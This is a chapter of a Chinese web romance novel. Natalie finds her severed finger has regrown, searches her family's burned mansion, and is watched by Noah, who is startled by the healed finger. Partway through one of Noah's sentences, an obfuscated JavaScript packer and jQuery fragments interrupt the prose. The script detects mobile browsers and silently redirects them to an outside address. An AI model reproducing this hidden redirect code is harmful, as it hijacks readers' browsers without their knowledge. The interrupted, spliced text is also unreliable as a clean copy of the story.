自从那天被诺亚戏耍一番后,娜塔莉就再没见过她。
屋子里没人时,娜塔莉将丝带取下,看见房间被诺亚装饰得粉扑扑的,除了蝴蝶结就是可爱的小花。她有点无语,这人是故意的吗?
天气越来越冷。一个月整的时候,她的右眼完全恢复,可以四下走动了。便买了些墨水钢笔,在卡林顿家族的图书馆里找书看。
吉斯也跟在她身边一起学习,姐弟俩时不时会在院子里晒太阳,过得十分自得。
初雪这天早晨,娜塔莉摘下皮质手套,自己的小拇指已经完全长好了。连指甲都完好无损,她动了动,活动自如,就像是从来都没断过一样。
“啧。”娜塔莉皱眉,有点恶心自己。其实她一直对自己的身世避而不谈,哪怕她隐隐觉得自己和人不同。
毕竟,两世为人,除了自己,她还真没见过有谁能断指重生的。“难道我是壁虎精?”娜塔莉自嘲地笑笑。
过了这个冬天,她就十八岁了。又成年了一次,这一次,身边多了弟弟。娜塔莉抿唇,感觉到一丝温暖。
“姐姐!”吉斯还穿着睡衣,明显是刚睡醒:“下雪了!!我们今天可以出去玩雪吗?”
“当然,你做完功课就可以。”
“啊?姐姐你不陪我吗?”吉斯耷拉小脸。他瘦了许多,可能是遭了变故的原因,比以前更刻苦学习。
“姐姐今天想回家里看看。”她捏捏吉斯的小脸,温柔地看着他。
“我想和姐姐一起去。”
“乖,这次姐姐不能带你,你好好做功课,我回来要检查的。”
“好吧。”吉斯不再像以前那样任性,他把披风从衣柜里抽出来:“那姐姐你要穿上这个,不能生病了!”
“好!”
-
这是娜塔莉第二次回家。
她只说是想念父母,不想惹人猜忌,便不敢经常回来。
家里的房子大多被熏黑。但烧的最严重的,是父亲的书房。想来父亲最初便是待在书房里,没有及时逃出生,活活闷死在里面了。
她觉得古怪,如果大火是从书房开始的话,没道理能烧得这么厉害。从烧焦的痕迹看,应该是多个地方一起着火,才能蔓延的这么快的。
可除了书房,其他烧得严重的地方都连成一片,让人无从判断。
娜塔莉走进吉斯的房间。听说着火时他正在厨房偷巧克力,因此逃过了一结。被发现时正在厨房的角落里瑟瑟发抖,被一位仆从抱着跑了出去。
她从这里退出来,又来到了自己的房间。
房间里除了一堆黑色残余,什么都没有。她已经查看过一次了,再看一次依旧没有任何发现。
最后,她还是回到了父亲的书房。
书房的墙面之前贴着航海图。桌子上堆积的文件全部烧光,一点都没留下,甚至桌子和书架都被得只剩几块木板。沙发变成了空洞的铁架。几个古董装饰碎在地上,是房间里仅存的色彩。
“烧得真干净啊。”娜塔莉砸砸嘴,手套抚上墙壁,看看蹭下来的黑灰,娜塔莉五指张开,按在墙面上。她总觉得,这房间有秘密。
如果父母真的是被人害死的,如果他知道自己做的事会得罪某些人,那不该什么都不留下。她脑海中浮现出父亲的模样。虽然只是个小小子爵,但和那些世袭的草包不一样,布兰奇子爵是个真有实才的贵族。
而且不知道是不是她的错觉,她总觉得,布兰奇子爵和卡林顿伯爵的关系不简单。她不止一次见到两人在父亲的书房议事。要知道,要是没有父亲的允许,这个房子里的任何人都不能进入父亲的书房,就连母亲也不行。
联想到父亲常年不展的眉宇,娜塔莉觉得,要不就是卡林顿伯爵找人放火杀了父亲。要不就是卡林顿伯爵和父亲一起谋划着什么,惹怒了不知道谁。
不过...卡林顿家为什么没事呢?
娜塔莉还是觉得前者的可能性更大。
她在烧剩下的骨架里摸索,忽然捕捉到脚步声。在这一个火灾后的无人城堡,她一下僵住了,警惕地望着门外。
是个男人,身体强壮,一米八到一米九之间...她仔细分辨着,视线快速在房间里搜索有没有能拿来防身的东西。
非常好。她只能拿起一个被烧焦一般的厚重木板。
诺亚的脚步停在门口,见到娜塔莉如临大敌的模样,挑眉,戏谑地评价道:“挺有活力的啊!”
娜塔莉:...你管这叫活力?都快吓死了好吗?
诺亚走过来,接过她手中的木板扔到地上:“我刚回来,听管家说你在这,想着你一个人不安全,把你接回去。”
娜塔莉抿了抿唇:“谢谢?”
他受用地扬起嘴角,牵起她的手:“天色不早,该回去了。”
他没有问娜塔莉为什么来这,好像他就是来接妻子回家的普通丈夫,自然又随意。
门口已经没有了娜塔莉自己的马,她狐疑地绕了一圈,确定自己的马是被人带回去了。
“卡林顿少爷,你干的?”
诺亚点头:“我让侍从牵回去了。晚上了,冷,你和我坐一起,暖和。”
娜塔莉无语。踩着脚蹬上马,她扬了扬头:“走吧。”
他们不知道是,在两人路过的街道。暗处,四个带着面罩的海盗盯着他们离开的方向。“怎么办,还动手吗?”“算了,船长特异嘱咐过,只有女的落单时才能动手。我们走。”
身影一闪,几个人消失在黑暗里。
-
娜塔莉吃了几个月来最热闹的一顿饭。
不过也就是多了一个人而已。
吉斯似乎对诺亚回来很开心。可能因为他走之前给他买了很多好吃的好玩的吧。
娜塔莉无声勾了唇角,还真是天真又可爱。
餐桌上,吉斯又提起让娜塔莉陪他堆雪人的事:“姐姐,你说好我昨晚功课就陪我堆雪人的。”
“那只能玩一会。天黑了,外面不安全,而且你还要早点睡觉呢。”
诺亚放下餐具,擦擦唇角:“有什么不安全的,我陪你们一起。”
娜塔莉挂上客气礼貌的微笑:“就不麻烦卡林顿少爷了,您才回来,一定很累了吧。”
“这有什么。”诺亚注意到她的称呼,眼里划过一丝不爽。
见他这样,娜塔莉不好再说什么。等到吃完晚饭,便上楼换了厚衣服。
在出门前,诺亚看着她的黑色皮手套,皱眉道:“怎么戴这么薄的手套玩雪,会冻手的。”说着,他朝旁边的侍女道:“你戴娜塔莉小姐去换个厚手套。”
“不用麻烦了。”娜塔莉说着,脱下手套递给侍女:“你去帮我换一个拿下来吧。”
诺亚看着她脱手套的动作,视线震惊地定格在她的小指上。皮肤光洁如玉,完全没有任何虚假的痕迹。
“怎么会?”他第一反应是自己看错了,他可是亲眼看着范恩割下她的小拇指,血淋淋的场景他到现在都记得。怎么会有人的指头断了还能长出来的。“难道是他当初认错了?”诺亚回忆自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17038791|193767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当初试探她时的判断。
这个间隙,娜塔莉已经戴好厚手套:“我们走吧。”
诺亚落后几步,沉默地跟着二人,脑海里都是当时的场景。“怎么会这样呢?他当时明明感觉到她的小指是空的啊。那么关键的时刻,他不可能会弄错!”他相信自己当时的判断,那么问题...是出在娜塔莉身上吗?
他想到儿时见到的,娜塔莉身上和布兰相似的诡异的能力。
“诺瓦哥哥!你快看!”吉斯推着面有他小腿高的雪球,兴致冲冲地叫他:“我要堆三个大大的雪人!你快来帮我!”
三个人一起推雪球。两大一小,三个雪人立在雪地里。吉斯满意地给雪人做好装扮,开心道:“这个是姐姐,这个是姐夫,这个是我!”
娜塔莉蹲下抓住吉斯的手:“不许叫姐夫!”
“你们不是订婚了吗?”吉斯不解,睁着无辜的大眼睛看着娜塔莉。
“订婚和结婚是不一样的,就算订婚了,也可能会退的,退婚之后就不能结婚了。而且,就算结婚了,后面也可能会离婚。所以,只有结婚之后,离婚之前,可以叫姐夫。”娜塔莉耐心地给弟弟解释。
吉斯点点头:“那好吧姐姐。那这个是姐姐,这个是诺瓦哥哥,这个是我。”
“这就对了,好了,该回去睡觉了。”娜塔莉牵着弟弟回到房间,诺亚则一直,把吉斯送回去后,自然地跟进娜塔莉的房间。
房间里的装饰还是他离开时装扮的那些,没有一点变化。见此,诺亚不悦地皱起眉头。他特异挑了那些她不喜欢的装饰,就是想引发她拆了这些碍眼的东西,换上自己喜欢的。
他没有直接表达自己的不满,而是选择找事:“你今天一共叫了我五次卡林顿少爷。”
“有那么多吗?”娜塔莉觉得这人完全坐地起价。“根本就没有那么多!”
诺亚无赖地笑笑:“我说有就有。说吧,你打算怎么补偿我。”
娜塔莉无语:“卡林顿少爷,我们什么时候说好叫错要补偿了。”
诺亚挑眉:“有啊。要是叫错了,要答应我一个条件。叫错几次就有几个条件,六次了哦。”
“根本就没有这种事!”娜塔莉被这人无理取闹气急了,连称呼都忘了叫。
诺亚完全不理她,搓搓下巴:“让我想想,什么条件好呢...后天的宴会我好像还没有舞伴啊。”
娜塔莉无语:“那我也有条件。”
诺亚笑笑:“你说,我考虑考虑。”
娜塔莉:“把你这些装饰给我撤了!”
诺亚惋惜地摇摇头:“真的要这样吗?这些可都是我亲手给我未来的妻子挑的...要是没有这些,这里空荡荡的,一点都不好看,给我们家的格调都拉低了。”
“你准备的这些就有格调了吗!”娜塔莉质问,她没注意,自己现在说话已经完全不顾礼节了。
“可这是我对未来妻子的爱啊...就算订婚,也不一定能结婚。”他幽幽重复她的话:“要是撤了,以后她见到了难过怎么办。”
“...”“那我不去了。”
诺亚笑了:“你想撤就撤,这就是你家,你完全可以自己做主换上自己喜欢的装饰。”他轻柔地抚过她的发髻:“我很期待看到它变成你喜欢的样子。”
娜塔莉一怔,看着这人扬长而去,呆滞地摸了摸自己的脸:“不是...在装什么呢?他不会以为他这样很帅吧?”
她抖抖身上的鸡皮疙瘩,撤掉了窗帘上她最看不顺眼的粉红色蝴蝶结。